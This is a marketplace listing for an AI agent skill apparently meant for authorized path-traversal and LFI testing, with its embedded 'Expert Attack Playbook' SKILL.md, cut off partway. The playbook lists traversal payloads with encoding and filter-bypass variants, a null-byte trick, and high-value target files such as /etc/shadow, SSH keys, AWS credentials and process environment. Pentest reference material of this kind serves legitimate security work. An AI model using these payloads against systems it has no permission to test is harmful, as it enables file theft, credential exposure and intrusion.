Path Traversal Lfi
Systematically test download, include, and archive paths for traversal and LFI with encoding chains and escalation paths to RCE.
Overview
Path Traversal LFI is an agent skill for the Ship phase that guides authorized testing of file-path and include endpoints using traversal chains, encoding bypasses, and LFI-to-RCE escalation paths.
Install
npx skills add https://github.com/yaklang/hack-skills --skill path-traversal-lfiWhat is this skill?
- Distinguishes read-only path traversal vs LFI with possible execution
- First-pass chains: ../, URL-encoded, double-encoded, and Windows backslash variants
- Covers filter bypass, PHP wrapper exploitation, and log-poisoning to RCE
- Routes to upload-insecure-files and Ghost Bits (Java/Spring/Jetty) when WAF blocks standard dots
- OS-specific targets (e.g. /etc/passwd, win.ini) and encoding bypass sequences
Adoption & trust: 1.1k installs on skills.sh; 980 GitHub stars; 0/3 security scanners passed (skills.sh audits).
What problem does it solve?
You suspect download or include parameters can escape the intended directory but ad-hoc ../ payloads miss WAFs, OS nuances, and execution paths beyond simple file read.
Who is it for?
Solo builders or indie teams doing authorized appsec review on file-serving, templating, or archive features before launch.
Skip if: Unauthorized targeting of third-party systems or teams that only need dependency CVE triage without hands-on path testing.
When should I use this skill?
File paths, download endpoints, include operations, archive extraction, or wrapper behavior may expose filesystem control.
What do I get? / Deliverables
You get a ordered playbook of traversal encodings, wrapper and log-poisoning vectors, and clear read-vs-execute decisions to document findings and fix endpoints.
- Documented traversal/LFI test matrix
- Evidence of read or execution impact with reproduction steps
Recommended Skills
Journey fit
Canonical shelf is Ship → Security because the playbook targets pre-release or staged offensive testing of file-path and include primitives before production exposure. Security subphase fits authenticated security review and pentest workflows where path escape and PHP wrapper abuse are in scope.
How it compares
Procedural SKILL.md playbook for authorized path/LFI testing—not a passive scanner or legal-only policy doc.
Common Questions / FAQ
Who is path-traversal-lfi for?
Developers and security-minded solo builders running authorized reviews on web apps with downloads, includes, or archives who want agent-guided traversal and LFI techniques beyond naive ../ guesses.
When should I use path-traversal-lfi?
During Ship security work when endpoints accept paths or filenames, during staging pentests on your API, or when a WAF blocks standard traversal and you need Java Ghost Bits or upload-surface routing.
Is path-traversal-lfi safe to install?
It is offensive-security knowledge; install only in repos you control and use on systems you are permitted to test—review the Security Audits panel on this page before trusting the package.
SKILL.md
READMESKILL.md - Path Traversal Lfi
# SKILL: Path Traversal / Local File Inclusion (LFI) — Expert Attack Playbook > **AI LOAD INSTRUCTION**: Expert path traversal and LFI techniques. Covers encoding bypass sequences, OS differences, filter bypass, PHP wrapper exploitation, log poisoning to RCE, and the critical distinction between path traversal (read only) vs LFI (execution). Base models miss encoding chains and RCE escalation paths. ## 0. RELATED ROUTING Before deep exploitation, you can first load: - [upload insecure files](../upload-insecure-files/SKILL.md) when the primary attack surface is an upload workflow rather than an include or read primitive - [ghost-bits-cast-attack](../ghost-bits-cast-attack/SKILL.md) when the target is a **Java backend** (Spring, Jetty, Undertow, Vert.x) and standard `../`, `%2e%2e`, `%252e` chains are WAF-blocked — Ghost Bits substitutes `.` with `阮` (U+962E) and `/` with `阯` (U+962F), re-enabling traversal through Spring CVE-2025-41242 and Jetty `%2>` hex-folding ### First-pass traversal chains ```text ../etc/passwd ../../../../etc/passwd ..%2f..%2f..%2fetc%2fpasswd ..%252f..%252f..%252fetc%252fpasswd ..\\..\\..\\windows\\win.ini ``` --- ## 1. CORE CONCEPT **Path Traversal**: Read arbitrary files by escaping the intended directory with `../` sequences. **LFI**: In PHP, when user input controls `include()`/`require()` — file is **executed** as PHP code, not just read. ``` http://target.com/index.php?page=home → Opens: /var/www/html/pages/home.php Traversal attack: http://target.com/index.php?page=../../../../etc/passwd → Opens: /etc/passwd ``` --- ## 2. TRAVERSAL SEQUENCE VARIANTS The filtering strategy determines which encoding to use: ### Basic ``` ../../../etc/passwd ..\..\..\windows\system32\drivers\etc\hosts (Windows) ``` ### URL Encoding ``` %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd ← %2f = '/' %2e%2e%5c%2e%2e%5c%2e%2e%5c ← %5c = '\' ``` ### Double URL Encoding (when server decodes once, filter checks before decode) ``` %252e%252e%252f%252e%252e%252f ← %25 = %, double-encoded %2e ..%252f..%252fetc%252fpasswd ``` ### Unicode / Overlong UTF-8 ``` ..%c0%af..%c0%af ← overlong UTF-8 encoding of '/' ..%c1%9c..%c1%9c ← overlong UTF-8 encoding of '\' ..%ef%bc%8f ← fullwidth solidus '／' ``` ### Mixed Encodings ``` ..%2F..%2Fetc%2Fpasswd ....//....//etc/passwd ← double-dot with slash (filter strips single ../) ``` ### Filter Strips `../` (so `../` becomes `../` after strip) ``` ....// ← becomes ../ after filter strips ../ ..././ ← becomes ../ after filter strips ./ ``` ### Null Byte Injection (legacy PHP < 5.3.4) ``` ../../../../etc/passwd%00.jpg ← %00 truncates string, strips .jpg extension ../../../../etc/passwd%00.php ``` --- ## 3. TARGET FILES AND ESCALATION TARGETS ### Linux ``` /etc/passwd ← user list (usernames, UIDs) /etc/shadow ← password hashes (requires root-level file read) /etc/hosts ← internal hostnames → pivot targets /etc/hostname ← server hostname /proc/self/environ ← process environment (DB creds, API keys!) /proc/self/cmdline ← process command line /proc/self/fd/0 ← stdin file descriptor /proc/[pid]/maps ← memory maps (loaded libraries with paths) /var/log/apache2/access.log ← for log poisoning /var/log/apache2/error.log /var/log/nginx/access.log /var/log/auth.log ← SSH attempt log /var/mail/www-data ← email for www-data user /home/USER/.ssh/id_rsa ← SSH private key /home/USER/.ssh/authorized_keys /home/USER/.bash_history ← command history (credentials!) /home/USER/.aws/credentials ← AWS keys /tmp/sess_SESSIONID ← PHP session files (if session.save_path=/tmp) ``` ##